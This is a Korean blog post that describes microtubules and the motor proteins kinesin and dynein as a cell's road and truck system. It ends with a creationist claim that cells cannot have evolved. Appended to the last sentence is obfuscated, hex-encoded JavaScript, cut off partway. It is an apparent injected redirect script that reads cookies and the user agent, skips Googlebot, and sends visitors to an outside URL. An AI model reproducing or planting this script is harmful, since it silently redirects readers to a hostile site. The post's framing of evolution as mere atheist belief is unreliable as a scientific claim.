세포속의 고속도로

Categories: 최우성

Tuesday, 18 January 2011

microtubule

과학자들은 세포 속에서도 잘 닦여진 길과 특수한 트럭들을 발견하였다.
세포 속의 도로들 중에 잘 연구된 도로가 한 가지 있는데 과학자들이 미세소관(微細小管, Microtubule)이라 부르는 관이 있다(위 그림). 가느다란 관이란 뜻이다. 관 지름이 약25 nm(보통 사람 세포는 10,000 nm 정도임)인 이 미세소관은 세포의 전체적인 골격구조를 이루는 뼈대이기도 하고 물질들이 운반되는 도로로 사용 되기도 한다(그림 1). 마치미개발지에 도로가 생기면 새로운 도시가 생겨 나듯이 이 미세소관이 뻗어 나가면 세포의 기관들도 그 길을 따라 이동하게 되어 세포의 모습이 바뀌기도 한다. 또, 이 미세소관은 세포가 분열 될 때 중앙에 늘어 서 있는 염색체들을 양쪽으로 잡아 당겨 두 개의 새로운 세포가 만들어지는 과정에 관여하기도 한다(그림 1). 그런데 재미있는 것은 이 작은 관은 길이가 항상 고정되어 있는 것이 아니라 가변적이다. 필요에 따라 아주 짧은 시간에 길어지기도 하고 짧아지기도 하고 심지어는 일부는 아예 없어지기도 한다.

이 세포 속의 도로인 미소세관 외벽을 따라 세포의 트럭에 해당하는 운반체들이 움직이고 있다. 그러나 이 생체 트럭들은 관 안쪽에서 물이 흐르듯이 흘러 가는 것이 아니라 관의 외벽을 타고 스스로 움직인다(그림 2). 생체 트럭으로 잘 알려 진 것으로는 카이네신(Kinesin)과 다이네인(Dynein)이란 것들이 있는데 이름이 의미하고 있는 것처럼 사람이 만든 트럭처럼 에너지를 사용하여 다이나믹하게 움직인다. 또, 사람이 만든 고속도로는 같은 길 중앙에 금을 그어 주행 방향을 결정 했지만 미세소관은 둥근 관 모양으로 중앙선이 없다. 그래서인지, 이 생체 트럭들은 사람이 만든 트럭과 달리 일방통행을 한다.카이네신은 미세소관이 길어지는 바깥 방향으로만 달리고, 반대로 다이네인은 짧아지는 원점 방향으로만 움직인다.

또 재미있는 것은 세포 속에도 주소가 있다는 사실이다. 사람들은 어떤 물건을 만들거나 구입하여 박스에 넣고 그 박스에 주소를 써 넣어서 우편으로 보내기도 한다. 그런데 세포 속에도 그 생체 트럭에 의해 운반되는 물건들의 목적지가 표시되고 이렇게 표지가 달린 물건들만 분리하고 꾸러미를 만들어 특정 지역으로 옮겨진다. 예를 들면, 인슐린과 같이 세포 밖으로 내 보낼 것 따로, 세포 벽에 장착 되어 당분이 들어 오게 하는문(glucose transporter)이 각각 따로 포장되어 목적지로 운반 된다. 이렇게 목적지 근처에 옮겨 진 생체 물품들은 신호를 기다리고 있다가 정확한 순간에 사용 되는데, 최종 목적지에는 각각의 꾸러미들에 붙어 있는 자물쇠를 열 수 있는 열쇠와 같은 기능을 가진 장치가 있어 언제나 실수 없이 원하는 시각에 원하는 장소에 생체 물품들이 전달 된다.

세포를 한 국가에 비유한다면, 세포 속에는 세포막과 같은 막으로 싸여 있는 여러 개의 도시들이 존재하고 이 도시들간에 혹은 다른 국가와 물건들을 교환할 수 있는, 사람들이 흉내 낼 수 없이 효과적인 도로망과 물류 시스템이 갖추어져 있다고 할 수 있다.피조세계를 관찰해 보면 언제나 그렇듯이, 이 세포 속에서도 사람들이 하는 것과는 비교가 되지 않게 정밀하고 효율적인 시스템을 발견하게 된다. 이런 놀라운 세포의 시스템이 도대체 어떻게 존재하게 되었을까?

세포가 저절로 되었다거나 진화되었다고 말하는 것은 강력한 무신론의 믿음의 표현일 뿐이다. 과학적인 논리를 적용하면, 세포는 자연적으로 생긴 시스템이 아니라 사람보다 훨씬 뛰어난 지성적인 존재가 만든 것이란 것을 시인하지 않을 수 없다. 또, 과학만으로는 그 존재가 누구인지 알 수 없지만, 성경을 참고하면 너무나도 쉽게 그 존재가 누구인지 알 수 있게 된다. 그리고 이 창조자를 알게 될때 그 분의 형상인 사람이 누구인지 비로소 이해가 되는 것이다.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== 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